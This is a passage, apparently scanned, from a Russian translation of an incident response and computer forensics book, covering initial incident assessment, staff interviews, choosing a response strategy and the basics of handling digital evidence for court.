мацию, выходящую за рамки данных о расследуемом инциденте. Напри-
мер, во время расследования полиция может обнаружить факты супруже-
ской неверности, пристрастия к наркотикам или сведения об уголовном
прошлом. Кроме того, лучше получить помощь от местной полиции еще до
возникновения инцидента.
Существует несколько организаций, помогающих сотрудникам органов
правопорядка стать профессионалами в области компьютерной безопасности:
InfraGard Программа, адресованная совместному использованию
информации в частном и государственном секторе (в обоих случаях
обучение можно пройти на национальном или местном уровне).
HTCIA (High Technology Crime Investigation Association, ассоциа-
ция криминальных расследований в области передовых технологий)
Организация создана для распространения и обмена информации о
расследовании компьютерных инцидентов и безопасности.
ISSA (Information Systems Security Association, ассоциация безопасно-
сти информационных систем) Некоммерческая организация, объеди-
няющая начинающих и профессионалов в области информационной бе-
зопасности. Ассоциация поддерживает работу обучающих форумов,
публикует профильные материалы и обеспечивает личные контакты.
FIRST (Forum of Incident Response and Security Teams, форум
команд безопасности и реагирования на инциденты) Сообщество
участников команд реагирования из правительственных, коммерче-
ских и академических организаций.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ:
InfraGard: http://www.infragard.net
High Technology Crime Investigation Association (HTCIA): http://www.htcia.org
Information Systems Security Association (ISSA): http://www.issa intl.org
I mum of Incident Response and Security Teams (FIRST): http://www.first.org
НАГЛЯДНЫЙ ПРИМЕР
Один из студентов на семинаре задал вопрос: "Нужно ли обращаться в
полицию?". Я задал несколько встречных вопросов: "Есть ли налаженные
связи с органами правопорядка? Есть ли необходимые технические зна-
нии для сбора всех фактов? Проведено ли документирование инцидента,
позволяющее предоставить необходимые доказательства для уголовного
дела?". Важно понять, что лучше наладить связи с полицией до того, как
она будет привлечена к расследованию инцидента.

78
Глава 3
ИТОГИ
Подходящая предварительная подготовка предотвращает плохую произво-
дительность. В случае реагирования на инцидент подготовка является клю-
чевым требованием. Подготовка исследователей гарантирует быструю, соот-
ветствующую реакцию и минимизирует возможность ошибки. Подготовка
системных администраторов включает конфигурирование хостов и сетей
способом, который сокращает риск инцидентов и облегчает задачу их раз-
решения.
Однако мы понимаем, что в реальном мире предварительная подготовка
к инцидентам является чрезвычайно трудной технически и идеологически.
Многие университеты и организации строго следуют Первой поправке (о
свободе слова) и не обеспечивают достаточного контроля в отношении мо-
ниторинга деятельности пользователей. Также многие сети являются такой
мешаниной различных точек входа и конфигурационного кошмара, что не
существует простого способа создать нормальную сетевую безопасность. По-
этому при описании действий по реагированию мы не учитываем, что они
были выполнены.

ЧАСТЬ II
Базовые знания

ГЛАВА 4
Рекомендации
по исследованию

82
Глава 4
Kак уже отмечалось в главе 2, общая методология реакции на инци-
дент состоит из шести основных этапов:
1. Подготовка к инцидентам
2. Обнаружение
3. Исследование
4. Формирование стратегии реакции на инцидент
5. Реакция на инцидент
6. Заключительные мероприятия
В предыдущей главе рассматривались основные концепции реакции на
инцидент и обсуждались операции для подготовки к инцидентам. В этой
главе вы познакомитесь с реальным реагированием на инциденты и с эта-
пами для стратегии такой реакции.
ВНИМАНИЕ Мы начинаем реагировать на инцидент после обнаружения подо-
зрительных действий. Сами процессы обнаружения в этой главе не
затрагиваются, но описаны в книгах Intrusion Detection Ребекки
Гурли Байс (Rebecca Gurley Васе) издательства Pearson Higher
Education, 1999 и Network Intrusion Detection: An Analyst's Handbook
Стивена Норскутта (Stephen Northcutt) и др. издательства New Riders
Publishing, 2000.
ПРОВЕДЕНИЕ ПЕРВИЧНОЙ ОЦЕНКИ
Инцидент может быть расследован для получения ответов на следующие
основные вопросы:
Что могло произойти?
Какова наилучшая стратегия для реагирования на инцидент?
Заметим, что первый вопрос сформулирован как "Что могло произой-
ти?", а не "Что произошло?". Пока исследователь не сможет выполнить тща-
тельное судебное расследование, на вопрос невозможно ответить в катего-
ричной форме.
Можно рассматривать этап начальной оценки по аналогии с составлени-
ем протокола сотрудником полиции. На месте преступления следователь
может быстро оценить ситуацию и принять решение о дальнейшем рассле-
довании и действиях. Каждый инцидент уникален. Например, если жертва
лежит в луже крови, то нужно оказать первую помощь даже если это приве-
дет к потере улик. Если же следователь констатирует смерть, то он скорее
всего попытается сохранить в неприкосновенности место преступления и
собрать все улики, которые помогут в поимке преступника. Даже если по-
лисмен задерживает на месте преступления человека с оружием и руках, по
требуется в судебном порядке доказать его вину.

Рекомендации по исследованию
83
Цели начальной оценки подобны отчету об осмотре места преступления.
Необходимо собрать достаточно сведений, чтобы точно выбрать последую
|
щие действия. Первой информацией, которая поможет оценить ситуацию,
I станет уведомление об инциденте. В дополнение к этому очевидному факту
предполагаемого инцидента, исследователь обязан учесть факторы, кото-
рые могут оказать влияние на инцидент, например сетевую топологию или
политику, установленную в компании для отчета об инцидентах.
опросы, возникающие при уведомлении об инциденте
При первичном анализе предполагаемого инцидента следует поставить
множество основополагающих вопросов. Ответы на них помогут выявить
основные факты, характеризующие инцидент, например местоположение
затронутых инцидентом систем, административные контакты во время ин-
цидента и т.д. Обычно не удается найти ответы на все поставленные вопро-
сы, но чем больше вопросов проанализировано, тем проще оценить ситуа-
цию. Список вопросов при уведомлении об инциденте может быть таким:
СПИСОК ВОПРОСОВ ПРИ УВЕДОМЛЕНИИ ОБ ИНЦИДЕНТЕ
Кто обращается?
Время/Дата:
Номер телефона:
Природа инцидента:
Когда произошел инцидент?
Как был обнаружен инцидент?
Когда обнаружен инцидент?
Немедленное и дальнейшее влияние инцидента на клиентов компании?
(любые предположения на данный момент времени)
Скомпрометированные компьютеры:
Затронутые инцидентом оборудование/ОС/программное обеспечение:
Сетевой или IP адрес скомпрометированной системы:
Тип сети взломанного компьютера: (Ethernet, Token Ring, FDDI,
иной)
Модем: (телефонный номер:)
Важен ли инцидент для сетевых или бизнес операций? Каково его
влияние?
Любая важная дополнительная информация?

84
Глава 4
Физическое местоположение:
Физическая безопасность:
Кто является основным пользователем /администратором? Его кон-
тактная информация?
Каково текущее состояние компьютера?
Действия хакера
Сопутствующая деятельность?
Адрес источника?
Внедрена злонамеренная/чужая логика?
Атака отказа в обслуживании?
Вандализм?
Любые предположения о внешнем или внутреннем вторжении?
Действия клиентов
Проверка подключений?
Проверка журнала аудита?
Возможен ли к скомпрометированному компьютеру удаленный или
локальный доступ?
Любые изменения в сети, включая брандмауэры, списки управления
доступом ACL и т.д.?
Кто был уведомлен?
Другие действия?
Какие средства доступны локально?
Установлено ли программное обеспечение аудита хоста от сторонних
компаний?
Проводится ли аудит сети?
Доступны ли средства сетевого анализа в данном месте?
К кому обратиться с дополнительными вопросами?
Пользователи системы
Системный администратор скомпрометированного компьютера
Сетевой администратор в данном месте
Специальные запросы?
С кем в клиентской организации не следует обсуждать инцидент?
Другие вопросы?

Рекомендации по исследованию
85
Эта информация поможет описать тип и характеристики предполагае-
мого инцидента.
Сетевая топология
Анализ сетевой топологии поможет на этапе начальной оценки инцидента.
Если создана точная топологическая сетевая карта, то отмеченное на ней
местоположение системы жертвы позволит сделать некоторые выводы об
инциденте. Например, если система жертва не имеет подключения к Интер-
нету, значит в инциденте участвует еще одна система. Если же такая система
находится в одном домене широковещательных рассылок с подключенным к
Интернету компьютером, то его следует проверить, чтобы понять, не стал
ли он точкой незаконного доступа к сети.
Для исследователя на карте сетевой топологии будут наиболее интерес-
ны следующие аспекты: внешние подключения, сетевые устройства и доме-
ны широковещательных рассылок (broadcast domain). К внешним подключе-
ниям относятся все точки, в которых сеть соединяется с другими сетями ---
подключения к Интернету, сетевые связи с удаленными сегментами, сторон-
ние подключения к сетям бизнес партнеров компании или подключения по
линиям коммутируемого доступа. Домены широковещательных рассылок
представляют собой области совместного использования сетевого трафика,
которые важны тем, что скомпрометированная система может воздейство-
вать на все остальные компьютеры в домене широковещательных рассылок.
Анализ сетевой карты позволит определить возможные направления атаки,
а значит и стратегию реагирования.
К сетевым устройствам причислены маршрутизаторы, брандмауэры и
системы обнаружения вторжений IDS, которые играют важную роль во
время расследования инцидента. Местоположение таких устройств в сети
относительно системы жертвы позволит выдвинуть некоторые догадки об
инциденте. Сетевые устройства обычно поддерживают режим регистра-
ции подключений, что поможет выяснить, кто, когда и где был связан с ин-
цидентом.
Для сбора фактов следует проверить все сетевые устройства, находящи
еся между системой жертвой и системой, подозреваемой в проведении ата-
ки. Более того, установленные в сетевых устройствах правила фильтрации
гоже позволят сделать выводы об инциденте. Например, если система жер
тва находится в сети с двумя точками внешнего подключения (подключе-
ние к Интернету и непосредственная связь с бизнес партнером), причем
доступ из Интернета был блокирован в одном из промежуточных сетевых
устройств, то атака скорее всего проводилась из локальной сети или по ли-
нии связи с бизнес партнером.
Проверка политик
Действия, предпринимаемые во время реагирования на инцидент, опреде
ляются не только техническими предпосылками, но и действующей в комга
нни политикой. В главе 9 отмечались мероприятия по созданию приемлемой

86
Глава 4
политики, но нужно учитывать и влияние статуса людей, проводящих рас-
следование. Сотрудники правоохранительных органов обычно более огра-
ничены в своих действиях в отличие от администраторов поврежденных
систем. Следовательно, одним из первых шагов при первоначальной оцен-
ке инцидента станет анализ существующих в компании правил для отчета
об инцидентах.
Наивысший приоритет в вопросе соотношения политики и исследова-
теля имеют две операции: сетевой мониторинг и судебное компьютерное
дублирование. Возможности по проведению мониторинга будут ограниче-
ны, если в компании не установлена соответствующая политика и не реализо-
вана система вывода уведомлений при входе в сеть. Если же действует полити-
ка приемлемого использования (Acceptable Use) и согласия на мониторинг
(Consent to Monitoring), то необходимо проверить пригодность политики
для данного, конкретного инцидента. Что делать, когда жертвой атаки стал
домашний компьютер пользователя, применяемый в бизнес операциях
компании? Будет ли действовать на него установленная политика? Главное
правило в этом случае таково: не делать никаких предположений о полити-
ке, особенно когда ошибка в оценке может привести к административному
взысканию.
Если проверка политики не является частью мероприятий по подготов-
ке к инцидентам, следует проконсультироваться у адвокатов, чтобы гаран-
тировать законность предпринимаемых действий. Разработка политик рас-
сматривалась в главе 3.
ИССЛЕДОВАНИЕ ИНЦИДЕНТА
После первоначальной оценки предполагаемого инцидента вы сможете по-
нять ситуацию в общих чертах. Но может потребоваться дополнительная
информация для принятия решения о реагировании на инцидент.
Очень часто невозможно выбрать стратегию реакции на инцидент без
изучения файлов журналов регистрации и консультации с системными адми-
нистраторами. К сожалению, любые предпринимаемые в данный момент
действия могут иметь нежелательный эффект. Если придется обсуждать ин-
цидент с администратором, который позже станет главным подозреваемым,
то расследование может пойти по ложному пути. При изучении файла жур-
нала стандартными системными утилитами могут быть потеряны факты
инцидента.
Мы не призываем к отказу от любых действий, но предупреждаем об их
влиянии на расследование инцидента. Основополагающий принцип можно
заимствовать у врачей: "Не навреди". Для использования этого принципа
на практике необходимо понимать последствия действий, предпринимае-
мых в ходе расследования.
Действия во время расследования инцидента можно разделить на две ка-
тегории: опрос сотрудников и самостоятельные операции.

Рекомендации по исследованию
87
роведение опроса сотрудников
Опрос сотрудников позволит получить дополнительную информацию о
предполагаемом инциденте, причем собранные сведения могут влиять на
выбор стратегии реагирования. Следует опросить системного администра-
тора, менеджера и обычных пользователей, фамилии которых указаны в
списке уведомлений.
Пример инцидента
Администратор Web сервера решил проверить журнал регистрации, что-
бы узнать, кто обращался к данному сайту. Обнаружилось большое коли-
чество обращений из определенного адреса источника, поэтому админи-
стратор обратился в команду реагирования на инциденты. Исследование
полученного командой списка уведомлений не позволило точно класси-
фицировать этот случай как компьютерный инцидент. Как минимум, по-
требуется дополнительно изучить файлы регистрации Web сервера.
Предположим, система выявления вторжений IDS обнаружила несколь-
ко неудачных попыток подключения, после которых был успешно прове-
ден вход в систему по протоколу Telnet. Адрес источника этого соедине-
ния принадлежит поставщику услуг DSL, обслуживающему домашних
пользователей. Список уведомлений не позволил найти ответ для прояс-
нения данной ситуации. До заявления об инциденте следует обратиться
к системному администратору. Возможно, он установил для себя черный
ход в систему по протоколу Telnet для оперативного управления со свое-
го домашнего компьютера. Если же администратор ни при чем и заявля-
ет, что сеансы telnet не были настроены на подключения из Интернета,
то мы имеем дело с компьютерным инцидентом, на который надо немед-
ленно реагировать.
ОСТОРОЖНО Полученная в ходе опроса информация может быть очень полезной,
однако помните, что среди опрошенных может находиться виновник
инцидента. Наилучшая тактика опроса уже выработана секретными
службами: больше вопросов и меньше ответов.
Опрос системного администратора
Многие предполагаемые инциденты станут обычными недоразумениями
после разговора с системным администратором и пользователями, особен-
но когда уведомление об инциденте получено из журнала брандмауэра или
из системы выявления вторжений. Системный администратор может быст-
ро прояснить ситуацию и подтвердить или опровергнуть возникновение
инцидента.
Примеры вопросов к системному администратору:
Были ли раньше любые необычные действия?
Сколько людей имеют административный доступ к системе?
Какие приложения обеспечивают удаленный доступ к системе?

88
Глава 4
Каковы средства регистрации в системе и сети?
Какие мероприятия по обеспечению безопасности реализованы в си-
стеме?
Опрос менеджеров
Менеджеры несут ответственность за систему жертву и хранящиеся на ней
данные, поэтому могут предоставить полезную информацию. На это есть
две причины --- одна из них связана с информацией, а другая с персоналом.
Менеджеры часто знают о хранящейся информации то, что неизвестно
системному администратору. Например, можно привлечь менеджера к тес-
тированию безопасности компьютера без предупреждения системного ад-
министратора о готовящейся проверке.
Второй темой для разговора с менеджером станет обсуждение персона-
ла. Менеджеры, а не системные администраторы, знают о предыдущих по-
пытках взлома, недовольных своим положением сотрудниках или лицах,
недавно уволившихся из компании.
Примеры вопросов к менеджеру:
Есть ли какие то важные замечания о данных и приложениях подо-
зрительной системы?
Если ли среди персонала люди, на которых следует обратить внимание?
Проводились ли какие нибудь тесты для проверки проникновения в
систему или сеть?
Опрос конечных пользователей
Пользователи могут предоставить полезную информацию, особенно когда
именно они обнаружили необычные действия в системе. Пользователи
смогут подробно рассказать о нестандартном поведении системы, что по-
может в расследовании инцидента.
Самостоятельные действия
Самостоятельные действия необходимы на этапе начального исследова-
ния, но помните, что в сравнении с полным расследованием допускаются
не все операции. Обычно на начальном этапе проводится анализ файлов
регистрации в системе и сетевых устройствах, который дополняется пас-
сивным сетевым мониторингом для выявления сопутствующих незаконных
процессов. Самостоятельные действия полезны и необходимы, но должны
проводиться с осторожностью.
Помните о принципе "Не навреди". Любые действия в поврежденной
системе могут привести к изменению или потере фактов инцидента. Тех-
нические аспекты и предосторожности при действиях в системе будут рас-
смотрены в оставшейся части книги. В следующей ее главе мы обсудим про-
цесс судебного дублирования, а также сопутствующие ему операции,
например сбор фактов, управление скомпрометированной системой и <п
слеживание цепочки взаимосвязей. В главах 6 --- 8 подробно описан про
цесс пассивного сетевого мониторинга.

Рекомендации по исследованию
89
НАГЛЯДНЫЙ ПРИМЕР
Иногда от пользователей систем Windows можно услышать: "Моим
компьютером кто то управляет, но без участия моей клавиатуры и
мыши". Системный администратор, не подозревающий о программах
для виртуальных сетевых вычислений VNC (Virtual Network Computing),
скорее всего, посчитает это заявление плодом воспаленного воображе-
ния, но квалифицированный исследователь внимательно отнесется к та-
кому заявлению и немедленно начнет поиск черного хода, созданного
программой VNC, --- любимого средства многих хакеров.
ФОРМУЛИРОВКА СТРАТЕГИИ РЕАГИРОВАНИЯ
На данной фазе расследования уже собрано достаточно информации, что-
бы точно подтвердить или опровергнуть сам факт инцидента. Более того,
уже имеется достаточно сведений для формирования стратегии реагирова-
ния на инцидент.
Стратегия реагирования --- это план для разрешения инцидента. В стра-
тегии следует учесть различные факторы: тип атаки, политику компании,
функции системы жертвы и т.д. Подобные факторы определяют тип реак-
ции на инцидент, от реконфигурации системы до полного судебного дубли-
рования (что обычно предпочтительнее).
Оценка возможных типов реагирования
Реакция на инцидент может быть различной. Рассмотрим только несколько
вариантов, чтобы показать возможности для выбора. К таким возможностям
относятся восстановление рабочих операций, интерактивная или автоном-
ная реакция, выявление атакующего либо сбор фактов о нем для судебного
иска. Это не полный список, но в любом случае стратегия реагирования на
инцидент определяется составом предпринимаемых ответных действий,
их последовательностью и типом.
Восстановление рабочих операций
Наиболее простой и быстрой реакцией на инцидент станет возобновление
обычной работы системы. Не нужно сохранять факты инцидента, распре-
делять ответственность среди членов команды или переводить систему в
автономный режим. Обычно восстановления рабочего состояния вполне
достаточно при искажении Web сайта или атаке отказа в обслуживании.
Для этого не требуется долгого расследования и привлечения большой
команды реагирования на компьютерные инциденты (CIRT). Типичными
операциями в рамках стратегии станут восстановление поврежденной сис
темы с компакт диска, а также изменение конфигурации брандмауэром и
маршрутизаторов для предотвращения в будущем атак такого же типа

90
Глава 4
Сравнение реагирования в интерактивном и автономном режимах
Одним из ключевых решений об инциденте станет выбор режима дальней-
шей работы системы, будет она возвращена в сеть или нет. Если система ап-
паратная и для нее не нужно резервное копирование, причем сама система
играет главную роль в обеспечении бизнеса компании, то реагирование на
инцидент обычно проводится в интерактивном режиме, что затрудняет со-
хранение фактов и проведение судебного исследования. С другой стороны,
для сбора необходимого количества фактов для идентификации атакующего
тоже может потребоваться интерактивный режим работы системы, кото-
рый позволяет отслеживать действия хакера и проследить источник атаки.
Решение о дальнейшем режиме работы системы не входит в компетен-
цию команды CIRT, поскольку связано с бизнесом компании и потерями от
неработоспособного состояния на время проведения расследования. Одна-
ко нужно быть уверенным, что руководство принимает решение с учетом
требований расследования инцидента.
Общественный резонанс
Следует ли уведомить общественность об инциденте? Станет ли достоянием
всех информация об инциденте? При положительном ответе на оба вопроса
в план реагирования на инцидент следует внести пункт о предоставлении
информации для прессы (обычно на оба вопроса дается положительный от-
вет, с чем на собственном опыте не раз пришлось столкнуться компании
Microsoft благодаря публикациям в журнале Wall Street Journal).
В крупных компаниях существуют отделы по связям с общественностью
или хотя бы пресс секретари. Исследователи инцидента должны привлечь
таких людей в команду CIRT (в хорошем плане реагирования на инцидент
заранее предусматривается формирование заявления для прессы еще до
возникновения инцидента).
Выявление атакующего
Является ли основной целью стратегии реагирования поиск атакующего?
Если это так, то потребуется тщательное и долгое расследование. Если атака
проведена извне, то не обойтись без привлечения к расследованию органов
правопорядка. Для атак из Интернета могут потребоваться международные
контакты. Без помощи сторонних организаций трудно выявить атакующего,
можно только определить последний сетевой участок на пути проведения
атаки. Кроме того, при поиске атакующего потребуется затратить значитель-
ные финансовые и людские ресурсы.
Для исследования сетевых атак обычно используется пассивный монито-
ринг, что предполагает сохранение интерактивного состояния всех скомп-
рометированных систем, чтобы не спугнуть атакующего. У многих компаний
на это не хватает ресурсов, поэтому им приходится ограничиться повыше-
нием уровня безопасности и восстановлением поврежденных систем.
Выбор уголовных или дисциплинарных мер пресечения
Будет ли судебный иск или только дисциплинарное взыскание? В обоих случаях
нужно прежде всего найти атакующего. Затем следует собрать доказательства

Рекомендации по исследованию
91
его вины для вынесения судебного постановления. Для этого нужно тщатель-
но и долго работать. Мы рекомендуем это и в том случае, если не предполага-
ется судебного преследования. В процессе расследования мнение о степени
виновности может измениться! Процесс судебного дублирования рассмот-
рен в главе 5. Помните, что нужно твердо знать все, что необходимо для
успешного проведения расследования еще до начала данных действий.
Определение типа атаки
Выбор наиболее подходящей стратегии реагирования предполагает оценку
природы инцидента. Связан ли он с неавторизованным использованием ре-
сурсов, отказом в обслуживании, вандализмом, кражей информации или
компьютерным вторжением? После классификации типа атаки будет проще
выбрать нужную реакцию на эту атаку:
Атака отказа в обслуживании предполагает наиболее простую реак-
цию на инцидент, поскольку она не связана с вторжением в систему.
Неавторизованное использование ресурсов обычно связано с неза-
конным применением компьютера сотрудником компании. Здесь бо-
льше внимание нужно уделить персоналу, а не техническим вопросам.
Кража информации связана с неавторизованным доступом к данным в
режиме "только чтение". Проблемы такого рода обычно решаются за
счет изменения конфигурации, однако на начальном этапе расследо-
вания трудно определить, проводил ли атакующий только операции
чтения данных или виновен в полномасштабном вторжении в систему.
Вандализм относится к компьютерным вторжениям, поскольку невоз-
можен без доступа к системе жертве.
С компьютерным вторжением связана большая часть всех инцидентов,
поэтому здесь очень важна реакция на инцидент.
Классификация системы жертвы
Следует оценить функции и важность поврежденной системы. Будет ли ею
общедоступный Web сервер или внутренняя тестовая система? Хранятся ли
в ней важные платежные документы? Классификация системы жертвы помо-
жет в выборе стратегии реагирования, которая зависит от типа поврежден-
ной системы. Несколько вопросов, помогающих классифицировать систему:
Сколько клиентов или пользователей зависят от работы системы?
Насколько важны хранящиеся в системе данные?
К чему приведет выключение системы на минуту (час, день или неделю)?
Другие факторы влияния
К другим факторам, влияющим на выбор стратегии реагирования, относят-
-- источник атаки и позиция компании по отношению к реагированию.
Местоположение источника атаки влияет на воэможности по поиску и

92
Глава 4
наказанию хакера. Если атака проведена из другой страны, которая не стре-
мится участвовать в совместных расследованиях, то очень трудно идентифи-
цировать виновника атаки и тем более привлечь его к суду. Реакция зависит
и от того, кем был атакующий --- сотрудником компании или сторонним
лицом.
Позиция компании на реагирования определяет стратегию дальнейших
действий. Предполагает ли политика обязательное наказание всех атакую-
щих? Есть ли технические ресурсы для полномасштабного расследования?
В противном случае, есть ли финансовые возможности для найма специа-
листов, которые доведут расследование до конца? Станет ли бизнес компа-
нии незащищенным, если не будут предприняты необходимые действия по
расследованию инцидента?
Возникает много вопросов, поэтому следует четко представлять себе все
составляющие части стратегии реагирования, чтобы не выйти за пределы
своих возможностей.
Утверждение стратегии руководством компании
Хотя решение о реакции на инцидент принято, оно должно быть утвержде-
но руководством компании, поскольку право окончательного выбора имеет
владелец бизнеса, а. не команда CIRT. Руководству следует предоставить
краткий и точный план стратегии. Рекомендуется согласовать его в юриди-
ческом отделе компании, поскольку планируемые действия могут вызвать
контрмеры, особенно когда инцидент влияет на клиентов или приводит к
наложению уголовного либо дисциплинарного взыскания.
Вне зависимости от выбранной стратегии необходимо четко изложить
все "за и против". Любая стратегия имеет недостатки, например предпола-
гает временное отключение системы или невозможность продолжения ра-
боты. Как правило, во время окончательного решения приходится выби-
рать между "плохим" и "очень плохим" предложениями.
После утверждения стратегии руководством можно переходить к реали-
зации стратегии на практике. В оставшейся части книги рассматриваются
технические детали различных технологий, используемых при реагирова-
нии на инциденты.
ИТ0ГИ
Во время инцидента можно соблазниться быстрой начальной оценкой и ис-
следованием, игнорируя стратегические вопросы. В то время как тщатель-
ное планирование может показаться напрасной тратой времени в горячке
текущего момента, оно является критически важным шагом. Решения, кото-
рые делаются во время этой фазы реагирования, будут влиять на последст-
вия инцидента. Сначала затратьте некоторое время на определение подхо-
дящей стратегии реагирования. Это сбережет время и ограничит ошибки в
долгосрочном плане.

ГЛАВА 5
Компьютерный
судебный процесс

94
Глава 5
К омпьютер скрывает значительно больше персональной информа-
ции и секретов, чем может поместиться в 50 литровой мусорной корзине.
Типичный компьютер содержит информацию, которую люди хранили ра-
ньше в бумажниках, фотокамерах, записных книжках, календарях и шка-
фах с папками. Компьютер является сокровищницей личных контактов,
финансов и корреспонденции. Практически каждое исследование --- от
простой кражи до промышленного шпионажа --- может получить пользу от
правильного анализа подозрительных компьютерных систем.
Многие слышали или читали истории о компьютерных преступлениях и
о том, как восстановленная информация привела к поимке и разоблачению
злоумышленника. К сожалению, эти новостные сообщения, Web документы
и книги не посвящают в детали того, как выполнялось расследование. Как
исследователи гарантировали точность и надежность электронных доказа-
тельств? Как они извлекали, сохраняли и обрабатывали доказательства, по-
лученные из таких компьютерных систем? Эта глава знакомит с миром
компьютерного судебного разбирательства. Некоторые могут называть его про-
цессом анализа цифровых доказательств или анализом компьютерной информаци-
онной среды. Мы определяем компьютерное судебное разбирательство как
Терминология судебного исследования
Необходимо знать следующие термины, имеющие отношение к исследо-
ваниям судебных дублей:
Информационная среда доказательства Исходная информаци-
онная среда (жесткий диск), которую необходимо исследовать, бу-
дет ли это подчиненная система или жертва атаки.
Целевая информационная среда Информационная среда, на ко-
торую дублируется информационная среда доказательства. Други-
ми словами, судебный образ диска доказательства переносится на
целевую информационную среду.
Восстановленный образ Копия судебного образа, восстановлен-
ная в свою исходную, самозагружаемую форму.
Собственная операционная система Операционная система, ис-
пользуемая, когда информационная среда доказательства (или су-
дебный дубль) самозагружается для анализа.
Прямой анализ Анализ, выполняемый при исследовании (поиске
файлов, доступе к файлам, просмотре журналов и т.д.) в реальной
информационной среде доказательства, как при прямом просмот-
ре на консоли.
Автономный анализ Анализ, выполняемый при просмотре ин-
формационной среды доказательства или судебного дубля с конт-
ролируемого самозагружаемого гибкого диска или другой системы.
Информационная среда доказательства, или восстановленный об
раз, не является первичной информационной средой, испоьзуе
мой во время процесса загрузки.

Компьютерный судебный процесс
95
процесс извлечения данных доказательного значения из компьютерных и
информационных систем. В этой главе представлены некоторые из наибо-
лее популярных инструментов, используемых для судебного дублирования и
судебного анализа.
В этой главе можно будет заметить повторно встречающиеся темы. Пер-
вой является сохранение доказательства. Мы многократно подчеркиваем
важность обеспечения судебной целостности любой информационной сре-
ды, вовлеченной в исследование. Второй темой является необходимость
тщательного, полного документирования. Каждое действие в отношении
доказательства необходимо четко документировать. Ошибка в любой из
этих областей, несмотря на их "административную" природу, может позво-
лить противникам опротестовать данные и уменьшить их значение во
время юридического разбирательства.
УЧИМСЯ ОБРАЩАТЬСЯ С ДОКАЗАТЕЛЬСТВАМИ
Одной из базовых концепций, изучаемой всеми следователями, является
важность поддержания целостности доказательств. Что такое доказательст-
во? Мы упрощаем определение и полагаем, что любая информация доказа-
тельного значения, подтверждает ли она или опровергает доказываемое
утверждение, является доказательством. Предполагается знакомство с пуб-
ликацией Департамента юстиции, "Federal Guidelines for Searching and Sei-
zing Evidance" (Федеральное руководство по поиску и сбору доказательств),
а также "Searching and Seizing Computers and Obtaining Electronic Evidance
in Criminal Investigations" (Поиск и наложение ареста на компьютеры и по-
лучение электронных доказательств при криминальных расследованиях).
Мы повторим предисловие Руководства, говоря, что оно является только
руководством и не определяет пошаговый процесс, который гарантирует
принятие рассматриваемого вопроса судом. Тем не менее знакомство с ин-
формацией, представленной в Руководстве, убережет от множества оши-
бок, которые являются обычными для начинающих следователей.
Существуют два базовых факта, которые мешают процессу расследова-
ния компьютерных инцидентов:
Подавляющее большинство инцидентов с компьютерной безопасно-
стью не становятся гражданскими или криминальными судебными де-
лами. Они решаются просто административными средствами.
Из немногих инцидентов, которые становятся юридическими судеб-
ными делами, подавляющее большинство никогда не доходит до су-
дебного разбирательства. Множество судебных дел закрывается до
того, как они попадают в суд --- с помощью переговоров или других
специальных соглашений.
С ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Поиски наложение ареста на компьютеры и получение электронных доказательств
при криминальных расследованиях: http://www.usdoj.gov/criminal/cybercrime/se-
arching.html.

96
Глава 5
Обычные ошибки при получении доказательств
Здесь представлены основные области, где делаются ошибки во время
компьютерного судебного процесса. Зная об этих потенциальных ошибках,
можно предпринять необходимые действия, чтобы их избежать.
Небрежность в поддержке надлежащей документации Каждое дейст-
вие в отношении доказательства должно быть четко документировано.
Небрежность в уведомлении или предоставлении аккуратной ин-
формации специалистам, принимающим решения Сотрудники по-
дразделения информационных технологий (IT) обычно первыми за-
мечают нарушения в безопасности. Они осуществляют мониторинг
IDS. Понятно, что они могут не захотеть сообщать о нарушении безо-
пасности руководству, так как они обычно отвечают за нарушения.
Однако специалисты, принимающие решения, не могут делать разум-
ных шагов без необходимой информации.
Небрежность в контроле доступа к цифровым доказательствам Не каж-
дый сотрудник должен иметь доступ к важной информации. Необхо-
димо контролировать доступ к сетевым устройствам, которые поддер-
живают журналы. Если 80 человек могут получить доступ и изменить
журналы IDS в организации, то вы имеет более слабые аргументы,
что журналы являются защищенными от подделки (если только не ис-
пользуются подходящие средства контроля защиты от подделки).
Небрежность в своевременном отчете об инциденте руководству
и правоохранительным органам Ожидание или отсрочка во время
реагирования на инцидент редко является хорошей идеей. Чем доль-
ше затягивается начало расследования инцидента, тем в большей сте-
пени специалисты, которые могут ответить на вопросы, забудут эти
ответы. Чем дольше затягивается выполнение судебного дублирова-
ния системы, тем в большей степени изменяются доказательства. Ко-
роче говоря, чем дольше вы ждете, тем более холодным становится
след доказательства.
Недооценка области действия инцидента Важно понимать, что в
начале запроса или расследования не бывает известно, что можно
найти. Можно исследовать систему сотрудника в связи с его поздними
кибермахинациями в офисе, а найти доказательство многочисленных
преступлений, которые могут быть совершенно неожиданными и тре-
вожными. Поэтому необходимо всегда готовиться к худшему и обра-
щаться со всеми доказательствами одинаково осторожно.
Отсутствие плана реагирования на инцидент Разработка своих соб-
ственных процедур реагирования на инцидент должна выполняться
до того, как инцидент происходит. Инциденты с безопасностью часто
являются сложными расследованиями, требующими специальной
подготовки. Упущения и ошибки всплывут во время инцидента, даже
при выполнении хорошо отлаженного процесса. Выполнение без
предварительного планирования неизбежно принесет значительно
больше неудач.

Компьютерный судебный процесс
97
Правило лучшего доказательства
Вы только что выполнили поиск на мейнфрейме IBM своей компании. Вы
успешно извлекли журналы, модифицированный код запроса к базе данных
и скрытые хранимые файлы, которые доказывают, что какой то сотрудник
снимает небольшое количество денег с каждой транзакции заказчиков. Вы
пришли к заключению, что организация может передать дело правоохра-
нительным органам. Как представить всю эту информацию в суд? У вас есть
джип, но мейнфрейм в него все равно не поместится. Здесь на помощь при-
ходит правило лучшего доказательства.
Некоторые специфические технические неудачи
Вот несколько специфических ошибок, которых надо избегать при рабо-
те с доказательствами:
Изменение отметки времени на системах доказательства до их за-
писи
Уничтожение (прекращение) инородных процессов
Обновление системы до реагирования исследователей
Отсутствие записи команд, выполненных на системе
Использование инструментов, которые требуют графического ин-
терфейса
Использование ненадежных команд и двоичных кодов
Запись поверх потенциального доказательства при установке про-
граммного обеспечения в информационной среде доказательства
(исходный жесткий диск, который требует исследования)
Запись поверх потенциального доказательства при выполнении
программ, которые сохраняют свой вывод в информационной среде
доказательства
Одно из первых определений в Федеральных правилах о доказательст-
вах (FRE) очерчивает исключения для предоставления исходных доказа-
тельств, когда встречаются определенные условия. В частности, FRE кон-
статирует:
"чтобы доказать содержимое записи, магнитозаписи или фотографии,
требуются оригинальные записи, магнитозаписи или фотографии, за
исключением случаев, предусмотренных этими правилами или поста-
новлениями конгресса".
